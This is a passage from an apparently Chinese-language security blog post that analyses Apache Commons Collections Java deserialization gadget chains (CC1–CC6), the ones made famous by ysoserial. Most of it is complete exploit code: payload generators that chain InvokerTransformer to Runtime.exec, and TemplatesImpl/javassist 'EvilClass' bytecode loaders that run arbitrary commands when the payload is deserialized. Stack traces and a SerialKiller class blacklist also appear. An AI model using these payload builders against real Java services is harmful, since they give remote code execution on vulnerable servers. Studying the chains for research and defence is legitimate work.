construct.newInstance(Retention.class, proxyMap); setFieldValue(transformerChain, "iTransformers" , transformers); return handler; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
修复情况(≤ JDK8u71) 由于 CC1 和 CC0 一样都是通过 AnnotationInvocationHandler#memberValues 触发,因此针对 CC0 的补丁对 CC1 同样有效,CC1 也在 JDK8u71 之后失效。
CC2 1 2 3 4 5 6 at org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:111) at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81) at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) at java.util.PriorityQueue.heapify(PriorityQueue.java:736) at java.util.PriorityQueue.readObject(PriorityQueue.java:795)
前面提到,TransformingComparator 在比较时会对比较的对象调用 transform 方法。
1 2 3 4 5 public int compare (Object obj1, Object obj2) { Object value1 = this .transformer.transform(obj1); Object value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
而 Java 中内置的维护顺序的容器如 PriorityQueue 在反序列化时会对内部的元素进行排序,这个过程中在 siftDownUsingComparator 函数内涉及了元素大小的比较。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
因此我们只需要在创建 PriorityQueue 容器时指定比较对象为我们定义的 TransformingComparator,之后往 PriorityQueue 中随便放两个元素,那么在反序列化时就会调用 comparator.compare 方法触发 transform 方法调用。
1 2 Comparator comparator = new TransformingComparator (transformerChain);PriorityQueue queue = new PriorityQueue (2 ,comparator);
利用代码(CC4) 类 org.apache.commons.collections4.comparators.TransformingComparator 在 commons-collections4.0 以前是版本中是没有实现 Serializable 接口的,因此这个利用链只能在 commons-collections4.0 使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CommonsCollections2 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (transformers); Comparator comparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 , comparator); setFieldValue(queue, "queue" , new Object []{1 , 1 }); setFieldValue(queue, "size" , 2 ); return queue; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CC3 1 2 3 4 5 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
2015 年初,@frohoff 和 @gebl 发布了 Talk《Marshalling Pickles: how deserializing objects will ruin your day 》,以及 Java 反序列化利用工具 ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安全的过滤方法,于是类似 SerialKiller 这样的工具随之诞生。
SerialKiller 是一个 Java 反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?xml version="1.0" encoding="UTF-8" ?> <config > <refresh > 6000</refresh > <blacklist > <regexp > ^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp > <regexp > ^org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp > <regexp > ^org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regexp > <regexp > ^org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp > <regexp > ^org\.springframework\.beans\.factory\.ObjectFactory$</regexp > </blacklist > <whitelist > <regexp > .*</regexp > </whitelist > </config >
这个黑名单中 InvokerTransformer 赫然在列,也就切断了 CommonsCollections1 的利⽤链。有攻就有防,ysoserial 随后增加了不少新的 Gadgets,其中就包括 CommonsCollections3。
CommonsCollections3 的目的很明显,就是为了绕过一些规则对 InvokerTransformer 的限制。CommonsCollections3 并没有使用到 InvokerTransformer 来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter。
这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,免去了我们使用 InvokerTransformer 手工调用 newTransformer() 方法这一步:
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
我们可以构造如下 ChainedTransformer:
1 2 3 4 Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{obj}), };
并且如果触发 transform 调用的时候参数可控,那么我们还可以进一步优化掉 ConstantTransformer 和 ChainedTransformer。
利用代码 其实这里可以自由组合其他的链,只要能调用到 transform 方法即可,这里只举例能够省略 ChainedTransformer 的情况。
CC5(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections3 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setFieldValue(exception, "val" , entry); return exception; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections3 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.lazyMap(innerMap, new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setFieldValue(exception, "val" , entry); return exception; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CC6(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections3 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); Map triggerMap = new HashMap (); triggerMap.put(entry, "foo" ); outerMap.clear(); setFieldValue(outerMap, "factory" , new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); return triggerMap; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections3 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.lazyMap(innerMap, new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); Map triggerMap = new HashMap (); triggerMap.put(entry, "foo" ); outerMap.clear(); setFieldValue(outerMap, "factory" , new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); return triggerMap; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CC4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:422) at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116) at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81) at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) at java.util.PriorityQueue.heapify(PriorityQueue.java:736) at java.util.PriorityQueue.readObject(PriorityQueue.java:795)
原理分析(CC2+TrAXFilter) 在 CC2 的基础上借助 TrAXFilter+TemplatesImpl 加载字节码绕过对 InvokerTransformer 的过滤。
另外可以在原有利用链的基础上将 TrAXFilter.class 存到 PriorityQueue 中,这样比较的时候传入 TransformingComparator#compare 中的参数直接就是 TrAXFilter.class,从而省略一个 ConstantTransformer 让 ChainedTransformer 中元素数量减少为 1,进而可以省略 ChainedTransformer。
利用代码(CC4) 由于是在 CC2 的基础上实现的,因此只能适用于 commons-collections4。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.*;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javax.xml.transform.Templates;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections4 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Comparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 , comparator); setFieldValue(queue, "queue" , new Object []{TrAXFilter.class, TrAXFilter.class}); setFieldValue(queue, "size" , 2 ); return queue; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CC5 1 2 3 4 5 at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74) at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:132) at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
原理分析(BadAttributeValueExpException→TiedMapEntry→LazyMap) javax.management.BadAttributeValueExpException 在反序列化 readObject 时如果满足 System.getSecurityManager() == null(实际调试发现确实返回 null)条件时会对其中的 val 成员调用 toString 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
而 TiedMapEntry 的 toString 方法最终会调用到 map.get 方法,正好可以与 LazyMap 的利用链结合。
1 2 3 4 5 6 7 public String toString () { return getKey() + "=" + getValue(); } public Object getValue () { return map.get(key); }
利用代码(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections5 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry (outerMap, Runtime.class); BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setFieldValue(exception, "val" , entry); return exception; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections5 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry (outerMap, Runtime.class); BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setFieldValue(exception, "val" , entry); return exception; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CC6 1 2 3 4 5 6 at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74) at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121) at java.util.HashMap.hash(HashMap.java:338) at java.util.HashMap.readObject(HashMap.java:1397)
原理分析(HashMap→TiedMapEntry→LazyMap) org.apache.commons.collections.keyvalue.TiedMapEntry 的 hashCode 方法会调用到内部成员 map 的 get 方法,如果 map 被 LazyMap 修饰过就可以调用到 transform 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); } }
另外触发 TiedMapEntry#getValue 触发 LazyMap#get 函数调用时传入的参数是可控的 TiedMapEntry#key,我们可以借助这个特性优化掉 ChainedTransformer 中的 ConstantTransformer;再结合 CC3 任意字节码加载可以优化掉整个 ChainedTransformer。
java.util.HashMap#readObject 方法会对 key 调用 hash 方法,进而调用 key 的 hashCode 方法。
